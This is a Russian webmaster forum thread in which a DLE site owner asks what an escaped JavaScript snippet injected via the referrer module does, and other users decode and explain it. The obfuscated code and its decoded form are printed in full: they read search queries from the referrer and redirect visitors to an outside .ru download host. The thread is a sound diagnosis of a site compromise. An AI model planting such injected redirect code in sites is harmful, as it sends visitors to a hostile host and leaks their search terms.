X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

Открыть тему
Тема закрыта
> Знатоки хакинга, помогите, Проблемма с ДЛЕ
elvis81
elvis81
Topic Starter сообщение 30.5.2011, 23:03; Ответить: elvis81
Сообщение #1


Познающий
******

Группа: Active User
Сообщений: 1240
Регистрация: 5.8.2008
Из: дом
Поблагодарили: 222 раза
Репутация:   34  


Всем доброго времени суток.

Назрела проблемма. Сайт ДЛЕ с модулем реферер.
Постоянно появляется запрос в рефералах с монтированным javascript кодом.
После перехода по ссылке в js и просмотра страницы выдает вот такой код.
if(dle_admin == '' || dle_login_hash == ''){document.write(unescape("%3Cscript%20type%3D%22text/javascript%22%3Esp_redirect%20%3D%20%7B%7D%3Bsp_redirect.searchers%20%3D%20%5B%20%5B/google%5C./i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/search%5C.yahoo%5C./i%2C%20/%28%5C%3F%7C%26%29p%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/bing%5C.com/i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/search%5C.aol%5C./i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/ask%5C.com/i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/altavista%5C./i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/search%5C.lycos%5C./i%2C%20/%28%5C%3F%7C%26%29query%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/alltheweb%5C./i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/yandex%5C./i%2C%20/%28%5C%3F%7C%26%29text%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/%28nova%5C.%7Csearch%5C.%29%3Frambler%5C./i%2C%20/%28%5C%3F%7C%26%29query%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/gogo%5C./i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/go%5C.mail%5C./i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/nigma%5C./i%2C%20/%28%5C%3F%7C%26%29s%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%5D%3Bsp_redirect.sp_redirect%20%3D%20function%28referer%29%20%7B%20var%20query%3Dnull%3B%20for%28var%20i%3D0%3B%20i%3Csp_redirect.searchers.length%3B%20i++%29%20%7B%20%20var%20se%20%3D%20sp_redirect.searchers%5Bi%5D%3B%20%20if%20%28referer.match%28se%5B0%5D%29%29%20%7B%20%20%20query%20%3D%20referer.match%28se%5B1%5D%29%5Bse%5B2%5D%5D%3B%20%20%20break%3B%20%20%7D%20%7D%20if%28query%20%21%3D%20null%29%20%7B%20document.location.href%3D%27http%3A//rapidaload2files.filedownloadmoment.ru/%27+%27%3Fwkey%3D536758%27+%27%27+%28query%3F%20%27%26query%3D%27+query%20%3A%20%27%27%29%3B%7D%20%7D%3Bsp_redirect.sp_redirect%28document.referrer%29%3B%3C/script%3E"));}


Что он означает? Очень хотелось бы знать. Если знаете, то объясните мне пожалуйста.


--------------------
ТИц поднимают, поднималкой для ТИца
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
MacLeo
MacLeo
сообщение 30.5.2011, 23:07; Ответить: MacLeo
Сообщение #2


тИЦ`анутый
******

Группа: Active User
Сообщений: 1126
Регистрация: 1.6.2010
Поблагодарили: 316 раз
Репутация:   49  


elvis81, Если реферер это переходы, то вот почитайте, там и исправление есть


--------------------
SEO аудиты | Сайты под ключ | Верстка | Продвижение | Web дизайн и наружная реклама


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
PHPLance
PHPLance
сообщение 31.5.2011, 8:35; Ответить: PHPLance
Сообщение #3


Новичок
*

Группа: User
Сообщений: 34
Регистрация: 26.5.2011
Поблагодарили: 19 раз
Репутация:   3  


Чтобы вытянуть сам скрипт оттуда - можно заменить "document.write" на "alert" - он и будет отображён во всплывающем окне.
При определённых условиях скрипт редиректит на сайт: _rapidaload2files.filedow***nt.ru. Зачем - фиг знает, что это там за ресурс smile.gif)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
helloff
helloff
сообщение 31.5.2011, 8:47; Ответить: helloff
Сообщение #4


Старожил
******

Группа: Active User
Сообщений: 1297
Регистрация: 14.4.2009
Из: Краснодара
Поблагодарили: 198 раз
Репутация:   50  


Млять, спойлер когда юзать будем?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
gr3y
gr3y
сообщение 31.5.2011, 11:49; Ответить: gr3y
Сообщение #5


Участник
***

Группа: User
Сообщений: 104
Регистрация: 30.6.2010
Из: Хабаровск
Поблагодарили: 31 раз
Репутация:   5  


<script type="text/javascript">
sp_redirect = {};
sp_redirect.searchers =
  [ [/google\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
  [/search\.yahoo\./i, /(\?|&)p=(.*?)(&|$)/i, 2],
  [/bing\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2],
  [/search\.aol\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
  [/ask\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2],
  [/altavista\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
  [/search\.lycos\./i, /(\?|&)query=(.*?)(&|$)/i, 2],
  [/alltheweb\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
  [/yandex\./i, /(\?|&)text=(.*?)(&|$)/i, 2],
  [/(nova\.|search\.)?rambler\./i, /(\?|&)query=(.*?)(&|$)/i, 2],
  [/gogo\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
  [/go\.mail\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
  [/nigma\./i, /(\?|&)s=(.*?)(&|$)/i, 2]];

sp_redirect.sp_redirect = function(referer) {
  var query=null;
  for(var i=0; i<sp_redirect.searchers.length; i  ) {
    var se = sp_redirect.searchers[i];
    if (referer.match(se[0])) {
      query = referer.match(se[1])[se[2]];
      break;
      }
    }
    if(query != null) {
      document.location.href='http://rapidaload2files.filedownloadmoment.ru/' '?wkey=536758' '' (query? '&query=' query : '');
    }
};
sp_redirect.sp_redirect(document.referrer);
</script>

Штука собирает параметры запроса к поисковикам из рефереров, если страница была открыта из поисковика и передаёт эти параметры на некий http://rapidaload2files.file****loadmoment.ru/
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Помогите выбрать программу
Помогите выбрать программу
11 impak 1334 11.12.2017, 13:11
автор: Mikki
Открытая тема (нет новых ответов) Помогите найти плагин на WP
Отзывы с профилей соц сетей
1 SEOMR 433 30.11.2017, 7:18
автор: Nell
Открытая тема (нет новых ответов) Помогите найти проблему
Долгий ответ сервера
6 maxim1249 684 29.11.2017, 17:27
автор: genjnat
Открытая тема (нет новых ответов) Помогите оценить новотник. Плиз
1 Alex-777 519 29.11.2017, 7:18
автор: grumdas
Открытая тема (нет новых ответов) Помогите с неймингом для сборника советов
советы по разработки и жизни
11 coremission 1877 15.11.2017, 22:23
автор: rogefer


 



RSS Текстовая версия Сейчас: 13.12.2017, 19:02
Дизайн